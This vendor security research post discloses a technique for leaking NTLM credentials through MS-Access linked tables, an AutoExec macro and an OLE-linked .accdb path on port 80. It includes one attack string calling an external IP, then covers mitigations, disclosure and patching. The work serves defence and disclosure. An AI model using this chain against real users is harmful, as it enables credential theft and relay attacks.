1. Microsoft Access (part of the Office suite) has a “linking to remote SQL Server tables” feature.
2. This feature can be abused by attackers to automatically leak the Windows user’s NTLM tokens to any attacker-controlled server, via any TCP port, such as port 80.
3. The attack can be launched as long as the victim opens an .accdb or .mdb file. In fact, any more-common Office file type (such as a .rtf ) can work as well
4. This technique allows the attacker to bypass existing Firewall rules designed to block NTLM information stealing initiated by external attacks.

What is NTLM? What common attacks exist against it?

NTLM is an extremely deprecated authentication protocol introduced by Microsoft in 1993. It is a challenge-response protocol: the server keeps a secret called an “NTLM hash” derived from the user’s password, then every time that user wants to log in, the server issues a randomized “challenge” and the user consults the password to compute the correct response. By “extremely deprecated”, we mean that someone presented a talk titled “Nail the Coffin Shut: NTLM Is Dead” at Defcon 16, back in 2008.

Below are the three most well-known attacks against NTLM.

• A brute-force attack uses inherent weaknesses in the NTLM hash function specification to recover the original password from the NTLM hash stored on the server.

• A pass-the-hash attack abuses the fact that the NTLM hash itself is enough to correctly answer challenges[1], making the fact that a hash is used instead of the plain password substantially meaningless.

• A relay attack is what’s classically known as a “Man in the Middle” attack, where an attacker intercepts a handshake transaction, posing as the client when talking to the server and vice-versa — inconspicuously passing their messages on to one another until the crucial moment where the session is authenticated, at which point the attacker cuts the legitimate client out and carries on the conversation in their stead.

The art of designing a protocol to resist these attacks is well-understood, so much so that some of the mitigations appear in Kerberos, an authentication protocol developed at MIT a full five years before NTLM saw the light of day.

Thankfully, a simple and effective stop-gap measure exists for anyone keen to keep their NTLM server: simply blocking all organization outbound traffic through the ports used by the NTLM protocol (139 and 445) will render the above-mentioned attacks much more difficult to execute, and, on the face of it, impossible to use for gaining initial access to a network. Such an attacking technique, initiated by external attacks, is called “Forced Authentication”, in fact, there’s an ATT&CK page explaining this type of attack.

Alas, it is a law of nature that stop-gap measures invite workarounds. In this blog post, we present a novel method that allows bypassing these port-blocking mitigations, and targeting internal users with NTLM attacks directly. This method works by abusing a feature in the MS-Access application called “Access Link Tables”.

• The terminology can get somewhat muddied because the client response is also sometimes colloquially called a “hash” or a “hashed password”.

Linked Tables in MS-Access

Before we get to how an attacker might abuse this feature, we’ll first explain how the feature works normally, when used for legitimate purposes. With linked tables, users can connect to an external database, such as a remote Microsoft SQL server (the advantages of such a feature should be self-evident; having every user keep a copy of a database on their local machine is not a great solution a lot of the time, and definitely not at scale). To activate the feature, a user can click the “ODBC Database” button under the “External Data” tab, as shown below. We use Office 2010 as an example, but this applies to all versions of Office equally.

Figure 1: Clicking the “ODBC Database” button starts a wizard that connects to a remoter SQL Server on Microsoft Access 2010

MS-Access suggests an alternative — a one-time download of the remote table, with the result being treated as a local table from then on. To actually use the linking feature and sync with a remote database, the user picks the other option: “Link to the data source by creating a linked table”.

Figure 2: MS-Access lets the user pick between creating a local copy of a remote database and a full

remote link.

The user then selects “SQL Server” as the ODBC source in a dialogue box.

Figure 3: The dialogue box for choosing the type of ODBC source.

At this point a user would need to choose a method for authenticating with the remote server, see the following figure.

Figure 4: The dialogue box for choosing the SQL Server authentication method

A typical user would choose according to the authentication methods supported by the server, company security policy, and what they personally find convenient; for educational purposes, let’s assume the user picks the option where their own Windows ID credentials are used for authentication. Also, a typical user would probably leave the port of the remote server as its default value (1433), but, again for educational purposes, let’s assume for a minute that the user picks something unorthodox, like port 80.
After all, nothing prevents a SQL server from listening on port 80; a legitimate org’s SQL server probably won’t do that, but if someone does, the internet police will not magically descend from the skies to arrest them (though see our later note about firewalls).

Figure 5: The dialogue box for choosing the server’s IP address, port and protocol

Assuming authentication with the remote SQL server is successful and the chosen table exists, a new entry will now be available in the client’s “tables” list representing the linked table. When the user clicks this entry, a connection is made to this remote database, and the MS-Access client attempts to authenticate with the SQL server using the user’s Windows credentials.

Figure 6: The linked table as it appears in MS-Access’s “tables” list

Abusing Linked Tables

What gap is left before the feature can be weaponized and turned into an NTLM relay attack? Not a large one. An attacker can set up a server that they control, listening on port 80, and put its IP address in the above “server alias” field. Then they can send the database file, including the linked table, to the victim. If (If!) the victim opens the file and clicks the table, the victim client C_V
will contact the attacker-controlled server S_A and attempt to authenticate. S_A is then in prime position to execute the attack — it can immediately start an authentication process with a targeted NTLM server S_T in the same organization, receive a challenge, send that challenge to C_V as part of the attacker-controlled C_V↔ S_A authentication process, receive a valid response and then pass that response on to the S_A successful authentication with S_T .[2]

[2] To be pedantic, authentication is done using NTLMSSP wrapped in TDS.

That is a big if. Getting the victim to both open the file and click the database is no small matter. Now as to the “clicking the database” part, technically MS-Access has macro support — so an attacker could in theory create a macro that opens the linked table automatically and set it up to execute automatically on file open (this is done by naming

the macro   AutoExec.). Of course, this is a dead end, because the user would then be prompted to enable macros, and just last year Microsoft introduced a new security feature for exactly this situation, which —

Actually, no. That feature doesn’t apply to simple MS-Access macros. These are different from full-blown VBA, weaker in their capabilities, and are treated with less caution. Even the provably ine fectual “protected view” feature from 2010, the one with the meek yellow ribbon that says the document “might be unsafe” and prompts the user to “enable macros”, doesn’t pop up when one of these simple Access macro auto- executes. So what, someone will trick you into trying to view a database on the internet or something; what’s the worst that’s going to happen?

Figure 7: Adding a Microsoft Access Macro that opens the linked table and saving it as “AutoExec” to execute on file open.

OLÉ, OLÉ, OLÉ

Microsoft Access is registered as an “OLE linking” server on Windows. This means it allows other applications to request that it handle and process objects (more details are available in the MS docs here). For example, one might embed an image in a Word document, and when the document is opened, MS-Paint will handle the image and send information back allowing MS-Word to display the image inline.

In the same way, it is possible to link to an   .accdb  file inside of an MS-word document as an OLE object that will be downloaded automatically (also via port 80/tcp) and then handled by MS-Access. Something as simple as the following string will trigger this behavior:

\\\\111.111.111.111@80\\test.accdb

As a summery, the whole attack chain looks like the following:

Figure 8: Abusing link table

Demo

With the aid of this Thinkst blog post we were able to set up a proof-of-concept environment showcasing this attack; a particular help was disabling the encryption in the server’s first response packet (PRE-LOGIN message response), which made our work much easier as we didn’t need to deal with the TDS TLS encryption.

Following is a redacted image of the transaction between the mock victim and our fake SQL server. The victim is within a typical port-blocking environment (blocking outgoing 139/tcp and 445/tcp traffic but allowing 80/tcp), while the attacker-controlled server is in a public cloud. The victim leaks the local net-NTLMv2 hash while attempting to authenticate with the server on port 80.

Figure 9: Traffic capture (PCAP) showing a successful attack that gets the victim to leak the local NTLM hash via port 80.

Defense and Mitigation

We have successfully reproduced the attack on all available default Windows + Office environments, including the latest Windows 10/11 + Office 2021 environment.

For users who’re concerned about this attacking method, we recommended:

• Check Point has released an IPS signature named “Microsoft Windows NTLM Information Disclosure” to protect our customers. If you’re one of our IPS customers, you should be immune to this type of attack.
• Check Point customers are further protected and Microsoft Access files (.accdb) containing objects leading to NTLM leakage will be detected as Trojan.Wins.LinkedTable.A or Trojan.Wins.LinkedTable.B.
• A “content aware” firewall may help, a one that doesn’t just check the destination port but also performs packet inspection.
• You may consider disabling macros in MS-Access, or removing it from your system altogether if it is not essential to your Office suite install.
• And, of course, for the forty thousandth time, don’t open attachments from unsolicited sources.

Check Point Research has worked with MSRC on this issue since early January, 2023. Since January, we were busy on developing and delivering various protections for our customers against this attacking technique. The rest of the blog post draft was prepared far earlier than this release date.

On July 17th, we tested our PoC again on the latest Office 2021 (Current Channel, version 2306, build 16529.20182), and found that Microsoft already mitigated the attack in this Office version – when the PoC runs, a warning dialog is now displayed to the end user.

• We only confirmed the issue is mitigated in the above specifically-mentioned Office/Access version (Current Channel, version 2306, build 16529.20182), we can’t rule out if any other Office/Access versions are still not mitigated, because there’re so many update channels and versions for Office / Microsoft 365 apps. Usually only the vendor can get the accurate information about patching and mitigation.
• In July we sent an email to MSRC trying to look for more information, and if this is indeed mitigated/patched or if they would like to release an official security update. This was followed by further inquires in October and early November. However, we were unable to obtain conclusive answer because the issue is considered as “low/none severity”, according to the MSRC reply.
• Please note that, even with the new warning dialog, there’s no elegant way for the users to stop the NTLM leaking, because the only option for the user to choose is “OK”, as shown in the picture (or, the “X” in the top right corner. Clicking the “X” is the same as clicking the “OK”, as per our tests). Our tests showed that clicking the “OK” button would continue the exploitation. If the user doesn’t click the “OK” button, the exploit wouldn’t continue. Therefore, if you’re an Office user and you see such a dialog popping up, it’s likely there’s an exploitation being taken place, so please don’t click the “OK” button or the “X”. You may forcefully shut down the “MSACCESS.EXE” process via Windows Task Manager, that will stop the exploitation totally.

Clarification related to the Outlook zero-day attack (CVE-2023-23397)

During the time of preparing this publication, on March 14th, Microsoft announced a significant zero-day attack in the wild targeting Outlook users in Ukraine. Check Point Research has been closely researching and monitoring the Outlook zero-day attack as well. As many of our readers have been probably aware of the news by now, the technique disclosed in this blog post also involves NTLM credential stealing. As they both try to achieve the same goal, we feel it’s good to clarify things between these two cases.

The same: the goals of the two techniques are both stealing the victim’s NTLM credentials; and in both of the attacking scenarios the attacker is attacking the victim from external (Internet) perspective.

The difference:

• The Outlook zero-day was abusing a feature (”reminder”) in Outlook. The most powerful/innovative part of the zero-day, is the attack vector. It’s delivered via Outlook as a malicious Mail/Meeting/Task object, the victim doesn’t even need to read their emails. The attack can be successful as long as the victim opens their Outlook. However, this attack, like many other similar “NTLM stealing” attacks, has its limitations – it can’t work if the organization has blocked the outbound traffic to ports 139/445. Had the admins done that on their gateway and firewalls, the attack would fail.

• This “NTLM stealing via MS Access” technique’s most powerful part is that it could deal with the above mitigation for the Outlook zero-day and likewise, it could bypass the “139/445 port blocking” mitigation. However, it also has its limits – it can’t be run automatically via Outlook (such as previewing an email or triggering a “reminder”), it has to be delivered via ‘traditional ways’ where the victim must open a malicious .accdb Outlook attachment.

As you have seen, the two techniques have both their advantages and limitations. Can they be combined together to achieve “the most powerful NTLM stealing attack”? That’s a good question we’ve thought. However (good thing), we researched them in depth and concluded that the answer is no, you can’t have both at the same time.

Check Point IPS has developed and deployed a signature named “Microsoft Windows NTLM Information Disclosure” to detect and protect our customers against the NTLM leak.

More information regarding IPS protection can be found here,

https://threatpoint.checkpoint.com/ThreatPortal/search?pattern=&page=1&partition=IPS_PROTECTIONS

Update 12.03.2024

Our research found that Microsoft has recently patched the issue described in this blog post – a new warning dialog will now be displayed if anyone is trying to exploit the bug/attack vector. Users are highly recommended to click “No” if the Access file is from an untrusted source. See the following figure.

We have confirmed the patch on Microsoft Access version 2402 (Build 17328.20142), but we’re not sure which version first had this patch deployed.